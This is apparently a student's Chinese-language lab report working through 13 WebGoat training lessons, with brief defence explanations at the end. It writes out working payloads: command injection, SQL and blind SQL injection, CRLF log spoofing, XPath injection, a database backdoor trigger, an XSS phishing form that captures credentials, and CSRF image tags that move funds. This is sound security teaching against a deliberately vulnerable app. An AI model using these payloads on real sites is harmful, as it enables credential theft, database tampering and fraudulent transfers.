20155205 郝博雅 Exp9 Web安全基礎

20155205 郝博雅 Exp9 Web安全基礎

1、實驗內容

  • 一共作了13個題目。

1.WebGoat

  • 輸入java -jar webgoat-container-7.1-exec.jar

  • 在瀏覽器輸入localhost:8080/WebGoat,進入webgoat開始實驗

2.Injection Flaws

  • 在火狐裏右鍵選擇inspect element開啓調試。

① Command Injection

  • 命令注入攻擊對任何參數驅動的站點都構成嚴重威脅。攻擊背後的方法很容易學習,形成的損害能夠從至關大到徹底的系統妥協。儘管存在這樣的風險,但互聯網上使人難以置信的系統卻容易受到這種形式的攻擊。它不只是一種容易被煽動的威脅,也是一種威脅,只要有一點常識和預先考慮,就幾乎能夠徹底避免。本課將向學生展現參數注入的幾個例子。
    清理全部輸入數據,特別是在OS命令、腳本和數據庫查詢中使用的數據是很好的作法。
    嘗試向操做系統注入命令。html

  • 嘗試注入netstat -an以及ifconfig這兩個系統命令以獲取本地計算機創建鏈接的IP以及系統的網絡端口使用狀況以及IP地址。在所請求的頁面源代碼中添加"& netstat -an & ipconfig"如圖所示:java

  • 在課程頁面的下拉菜單就能夠看到咱們新設的值,選定它,而後點擊view後能夠看到網絡端口使用狀況和IP地址。

② Numeric SQL Injection

  • 能夠看到咱們須要嘗試追加一個老是解析爲true的SQL語句,攔截POST請求,用101或1=1替換101

  • 將語句替換爲SELECT * FROM weather_data WHERE station = 101 OR 1=1,即在查看器中更改代碼以下圖所示:

  • 能夠看到全部城市的天氣啦

③ Log Spoofing

  • 日誌僞造,目的是經過注入惡意字符串,按照規則僞造出一條日誌,在Username輸入hby%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符。

④ XPATH Injection

  • 題目要求是使用賬戶Mik/Test123,目標是試着去查看其餘員工的數據。web

  • 使用一個普通的用戶名和密碼,XPath會起做用,可是攻擊者可能會發送一個壞用戶名和密碼,並在不知道用戶名或密碼的狀況下,選擇一個XML節點,以下所示:正則表達式

Username: hby' or 1=1 or 'a'='a
Password: hby

  • 能夠看到攻擊成功:

⑤ String SQL Injection

  • 和數字sql注入相同,輸入HBY' OR '1'='1,也就是當last name爲hby或者1=1時輸出信息,又因爲1=1爲恆等式,因此全部的用戶信息都會被輸出。

⑥ LAB: SQL Injection

Stage 1:String SQL Injection
  • 使用String SQL注入來繞過身份驗證。
  • 以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,可是登陸失敗。
  • 使用inspect element查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多隻容許輸入8個字符:

  • 將其修改成40,能夠登錄成功。

Stage 3:Numeric SQL Injection
  • 該題目的目的是經過注入語句,瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶larry,瀏覽其BOSS的帳戶信息。sql

  • 咱們先使用上一題的辦法登陸進larry的帳戶。(若是刷新了網頁還須要從新修改最大字符長度哦)數據庫

  • 在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個:

  • 以後就能夠查看到老闆的信息:

⑦ Database Backdoors

  • 看hint後知道先看看本身的信息是啥

  • 接下來就很簡單啦,能夠經過輸入sql語句來修改信息內容。好比輸入101; update employee set salary=5205

  • 接下來使用語句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155205@163.com' WHERE userid = NEW.userid建立一個後門,把表中全部的郵箱和用戶ID都設爲個人:

⑧ Blind Numeric SQL Injection

  • 題目中說明了下面的表單容許用戶輸入賬號並肯定它是否有效,意思就是返回值只有帳戶有效或無效兩種。
  • 先輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2333 );,結果是
    Account number is valid.也就是帳戶有效,再試試101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2444 );返回了
    Invalid account number.也就是帳戶無效。那麼咱們要找的數就在2333和2444之間了。編程

  • 按照平措同窗的方法設置BurpSuite後獲得最終的結果2364.瀏覽器

3.Cross-Site Scripting (XSS)

⑨ Phishing with XSS

  • 看一下要求:關於一個頁面中存在XSS漏洞時,他如何支持釣魚攻擊。要求咱們利用xss和html注入達到這些目標。
  • hint提示咱們嘗試向搜索字段添加HTML以建立假身份驗證表單。安全

  • 代碼以下:服務器

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單:

  • 輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你:

⑩ Stored XSS Attacks

  • 看看hint:You can put HTML tags in your message.意思是咱們要在信息中添加一個html的標籤。
  • 這就符合xss攻擊的一向套路了,在信息中輸入<script>alert("hey guys");</script>便可。

⑪ Reflected XSS Attacks

  • 看要求沒太看懂要幹嗎,看看hint:A simple script is .
  • 輸入到第一個框裏試一試發現沒反應,再輸入到二個框裏試一試,哎呀成功了

  • 可是也會提示你輸入錯誤啦

4.CSRF

⑫ Cross Site Request Forgery(CSRF)

  • 看要求是讓咱們發送一個惡意URL請求的圖片給用戶。看了hint後知道是在message框裏輸入一段文字,文字裏包含了惡意圖片,不能讓別人看出了。
  • 輸入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">,其中src指向網站的連接,這裏就是本身的這個網站,後面的兩個參數能夠根據紅框中的值據實填寫,而後經過寬高設置成1像素,隱藏掉這個圖片。

  • 點擊後就執行了這個代碼,被攻擊者就會給你轉錢啦

⑬ CSRF Prompt By-Pass

  • 看題目要求是和上一道題同樣,只不過如今須要確認轉帳。
  • 在message中輸入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" 
width="1" height="1"> 
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" 
width="1" height="1">
  • 能夠看到攻擊成功了

2、基礎問題回答

(1)SQL注入攻擊原理,如何防護

  • 攻擊原理:SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。
  • SQL注入威脅表現形式能夠體現爲如下幾點:

    ●繞過認證,得到非法權限
    
      ●猜解後臺數據庫所有的信息
    
      ●注入能夠藉助數據庫的存儲過程進行提權等操做
  • SQL注入攻擊的典型手段

    ●判斷應用程序是否存在注入漏洞
    
      ●收集信息、並判斷數據庫類型
    
      ●根據注入參數類型,重構SQL語句的原貌
    
      ●猜解表名、字段名
    
      ●獲取帳戶信息、攻擊web或爲下一步攻擊作準備
  • 防護措施:使用正則表達式過濾傳入的參數,字符串過濾,jsp中調用該函數檢查是否包函非法字符。

(2)XSS攻擊的原理,如何防護

  • 攻擊原理:XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,因此容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。

  • 防護措施:HttpOnly防止劫取Cookie;輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如<、>、'、"等,若是發現存在特殊字符,則將這些字符過濾或者編碼。

(3)CSRF攻擊原理,如何防護

  • 攻擊原理:CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情。

  • 防護措施:驗證HTTP Referer字段;在請求地址中添加token並驗證;在HTTP頭中自定義屬性並驗證。

3、實驗體會

  • 上個實驗接觸過SQL和XSS了,因此這一次更加深了對他們攻擊的理解。XSS涉及到web編程不少的內容,也算是個回顧,有很多收穫。此次作的實驗數量比較多,但作完感受原理都是同樣的。
相關文章
相關標籤/搜索